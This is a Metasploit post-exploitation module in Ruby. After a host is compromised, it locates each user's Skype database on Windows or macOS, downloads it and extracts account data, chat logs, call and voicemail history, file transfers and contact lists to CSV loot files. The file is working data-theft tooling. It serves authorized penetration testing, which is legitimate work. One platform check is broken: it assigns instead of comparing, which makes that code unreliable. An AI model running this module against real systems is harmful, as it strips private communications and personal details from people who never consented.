##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'csv'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::UserProfiles
  include Msf::Post::OSX::System

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Multi Gather Skype User Data Enumeration',
        'Description' => %q{
          This module will enumerate Skype account settings, contact list, call history, chat logs,
          file transfer history, and voicemail logs, saving all the data to CSV files for analysis.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
        'Platform' => %w[osx win],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_close
              core_channel_eof
              core_channel_open
              core_channel_read
              stdapi_fs_search
              stdapi_fs_separator
              stdapi_fs_stat
            ]
          }
        }
      )
    )
    register_advanced_options(
      [
        # Set as an advanced option since it can only be useful in shell sessions.
        OptInt.new('TIMEOUT', [true, 'Timeout in seconds when downloading main.db on a shell session.', 90]),
      ]
    )
  end

  # Run Method for when run command is issued
  def run
    # syinfo is only on meterpreter sessions
    print_status("Running Skype enumeration against #{sysinfo['Computer']}") if !sysinfo.nil?

    # Ensure that SQLite3 gem is installed
    begin
      require 'sqlite3'
    rescue LoadError
      print_error("Failed to load sqlite3, try 'gem install sqlite3'")
      return
    end

    if session.platform =~ /java/
      # Make sure that Java Meterpreter on anything but OSX will exit
      if session.platform !~ /osx/
        print_error('This session type and platform are not supported.')
        return
      end
      # Iterate thru each user profile on as OSX System for users not in the default install
      users = get_users.collect { |p| p['uid'].to_i > 500 ? p : nil }.compact
      users.each do |p|
        next unless check_skype("#{p['dir']}/Library/Application Support/", p['name'])

        db_in_loot = download_db(p)
        # Exit if file was not successfully downloaded
        return if db_in_loot.nil?

        process_db(db_in_loot, p['name'])
      end
    elsif (((session.platform = - 'windows')) && (session.type == 'meterpreter'))
      # Iterate thru each user profile in a Windows System using Meterpreter Post API
      grab_user_profiles.each do |p|
        if check_skype(p['AppData'], p['UserName'])
          db_in_loot = download_db(p)
          process_db(db_in_loot, p['UserName'])
        end
      end
    else
      print_error('This session type and platform are not supported.')
    end
  end

  # Check if Skype is installed. Returns true or false.
  def check_skype(path, user)
    dirs = []
    if session.type == 'meterpreter'
      session.fs.dir.foreach(path) do |d|
        dirs << d
      end
    else
      dirs = cmd_exec("ls -m \"#{path}\"").split(', ')
    end
    dirs.each do |dir|
      if dir =~ /Skype/
        print_good("Skype account found for #{user}")
        return true
      end
    end
    print_error("Skype is not installed for #{user}")
    return false
  end

  # Download file using Meterpreter functionality and returns path in loot for the file
  def download_db(profile)
    if session.type == 'meterpreter'
      if session.platform == 'osx'
        file = session.fs.file.search("#{profile['dir']}/Library/Application Support/Skype/", 'main.db', true)
      else
        file = session.fs.file.search("#{profile['AppData']}\\Skype", 'main.db', true)
      end
    else
      file = cmd_exec('mdfind', "-onlyin #{profile['dir']} -name main.db").split("\n").collect { |p| p =~ %r{Skype/\w*/main.db$} ? p : nil }.compact
    end

    file_loc = store_loot('skype.config',
                          'binary/db',
                          session,
                          'main.db',
                          "Skype Configuration database for #{profile['UserName']}")

    file.each do |db|
      if session.type == 'meterpreter'
        maindb = "#{db['path']}#{session.fs.file.separator}#{db['name']}"
        print_status("Downloading #{maindb}")
        session.fs.file.download_file(file_loc, maindb)
      else
        print_status("Downloading #{db}")
        # Giving it 1:30 minutes to download since the file could be several MB
        maindb = cmd_exec('cat', "\"#{db}\"", datastore['TIMEOUT'])
        if maindb.nil?
          print_error('Could not download the file. Set the TIMEOUT option to a higher number.')
          return
        end
        # Saving the content as binary so it can be used
        output = ::File.open(file_loc, 'wb')
        maindb.each_line do |d|
          output.puts(d)
        end
        output.close
      end
      print_good("Configuration database saved to #{file_loc}")
    end
    return file_loc
  end

  # Saves rows returned from a query to a given CSV file
  def save_csv(data, file)
    CSV.open(file, 'w') do |csvwriter|
      data.each do |record|
        csvwriter << record
      end
    end
  end

  # Extracts the data from the DB in to a CSV file
  def process_db(db_path, user)
    db = SQLite3::Database.new(db_path)

    # Extract information for accounts configured in Skype
    print_status('Enumerating accounts')
    user_rows = db.execute2('SELECT "skypeout_balance_currency", "skypeout_balance", "skypeout_precision",
          "skypein_numbers", "subscriptions", "offline_callforward", "service_provider_info",
          datetime("timestamp","unixepoch")"registration_timestamp",
          "nr_of_other_instances", "partner_channel_status", "flamingo_xmpp_status",
          "owner_under_legal_age", "type", "skypename", "pstnnumber", "fullname",
          "birthday", "gender", "languages", "country", "province", "city", "phone_home",
          "phone_office", "phone_mobile", "emails", "homepage", "about",
          datetime("profile_timestamp","unixepoch"), "received_authrequest",
          "displayname", "refreshing", "given_authlevel", "aliases", "authreq_timestamp",
          "mood_text", "timezone", "nrof_authed_buddies", "ipcountry",
          "given_displayname", "availability", datetime("lastonline_timestamp","unixepoch"),
          "assigned_speeddial", datetime("lastused_timestamp","unixepoch"),
          "assigned_comment", "alertstring", datetime("avatar_timestamp","unixepoch"),
          datetime("mood_timestamp","unixepoch"), "rich_mood_text", "synced_email",
          "verified_email", "verified_company" FROM Accounts;')

    # Check if an account exists and if it does enumerate if not exit.
    if user_rows.length > 1
      user_info = store_loot('skype.accounts',
                             'text/plain',
                             session,
                             '',
                             'skype_accounts.csv',
                             "Skype User #{user} Account information from configuration database.")
      print_good("Saving account information to #{user_info}")
      save_csv(user_rows, user_info)
    else
      print_error("No skype accounts are configured for #{user}")
      return
    end

    # Extract chat log from the database
    print_status('Extracting chat message log')
    cl_rows = db.execute2('SELECT "chatname", "convo_id", "author", "dialog_partner",
          datetime("timestamp","unixepoch"), "body_xml",
          "remote_id" FROM "Messages" WHERE type == 61;')
    chat_log = store_loot('skype.chat',
                          'text/plain',
                          session,
                          '',
                          'skype_chatlog.csv',
                          "Skype User #{user} chat log from configuration database.")

    if cl_rows.length > 1
      print_good("Saving chat log to #{chat_log}")
      save_csv(cl_rows, chat_log)
    else
      print_error('No chat logs where found!')
    end

    # Extract file transfer history
    print_status('Extracting file transfer history')
    ft_rows = db.execute2('SELECT "partner_handle", "partner_dispname",
          datetime("starttime","unixepoch"), datetime("finishtime","unixepoch"),
          "filepath", "filename", "filesize", "bytestransferred",
          "convo_id", datetime("accepttime","unixepoch") FROM "Transfers";')

    file_transfer = store_loot('skype.filetransfer',
                               'text/csv',
                               session,
                               '',
                               'skype_filetransfer.csv',
                               "Skype User #{user} file transfer history.")
    # Check that we have actual file transfers to report
    if ft_rows.length > 1
      print_good("Saving file transfer history to #{file_transfer}")
      save_csv(ft_rows, file_transfer)
    else
      print_error('No file transfer history was found!')
    end

    # Extract voicemail history
    print_status('Extracting voicemail history')
    vm_rows = db.execute2('SELECT "type", "partner_handle", "partner_dispname", "status",
          "subject", datetime("timestamp","unixepoch"), "duration", "allowed_duration",
          "playback_progress", "convo_id", "chatmsg_guid", "notification_id", "flags",
          "size", "path", "xmsg" FROM "Voicemails";')

    voicemail = store_loot('skype.voicemail',
                           'text/csv',
                           session,
                           '',
                           'skype_voicemail.csv',
                           "Skype User #{user} voicemail history.")

    if vm_rows.length > 1
      print_good("Saving voicemail history to #{voicemail}")
      save_csv(vm_rows, voicemail)
    else
      print_error('No voicemail history was found!')
    end

    # Extracting call log
    print_status('Extracting call log')
    call_rows = db.execute2('SELECT datetime("begin_timestamp","unixepoch"),
          "topic","host_identity", "mike_status", "duration", "soundlevel", "name",
          "is_incoming", "is_conference", "is_on_hold",
          datetime("start_timestamp","unixepoch"), "quality_problems", "current_video_audience",
          "premium_video_sponsor_list", "conv_dbid" FROM "Calls";')

    call_log = store_loot('skype.callhistory',
                          'text/csv',
                          session,
                          '',
                          'skype_callhistory.csv',
                          "Skype User #{user} call history.")
    if call_rows.length > 1
      print_good("Saving call log to #{call_log}")
      save_csv(call_rows, call_log)
    else
      print_error('No call log was found!')
    end

    # Extracting contact list
    print_status('Extracting contact list')
    ct_rows = db.execute2('SELECT  "skypename", "pstnnumber", "aliases", "fullname",
          "birthday", "languages", "country", "province", "city", "phone_home",
          "phone_office", "phone_mobile", "emails", "homepage", "about", "mood_text",
          "ipcountry", datetime("lastonline_timestamp","unixepoch"), "displayname",
          "given_displayname", "assigned_speeddial", "assigned_comment","assigned_phone1",
          "assigned_phone1_label", "assigned_phone2", "assigned_phone2_label",
          "assigned_phone3", "assigned_phone3_label", "popularity_ord", "isblocked",
          "main_phone", "phone_home_normalized", "phone_office_normalized",
          "phone_mobile_normalized", "verified_email", "verified_company"
          FROM "Contacts";')

    contact_log = store_loot('skype.contactlist',
                             'text/csv',
                             session,
                             '',
                             'skype_contactlist.csv',
                             "Skype User #{user} contact list.")
    if ct_rows.length > 1
      print_good("Saving contact list to #{contact_log}")
      save_csv(ct_rows, contact_log)
    end
  end
end
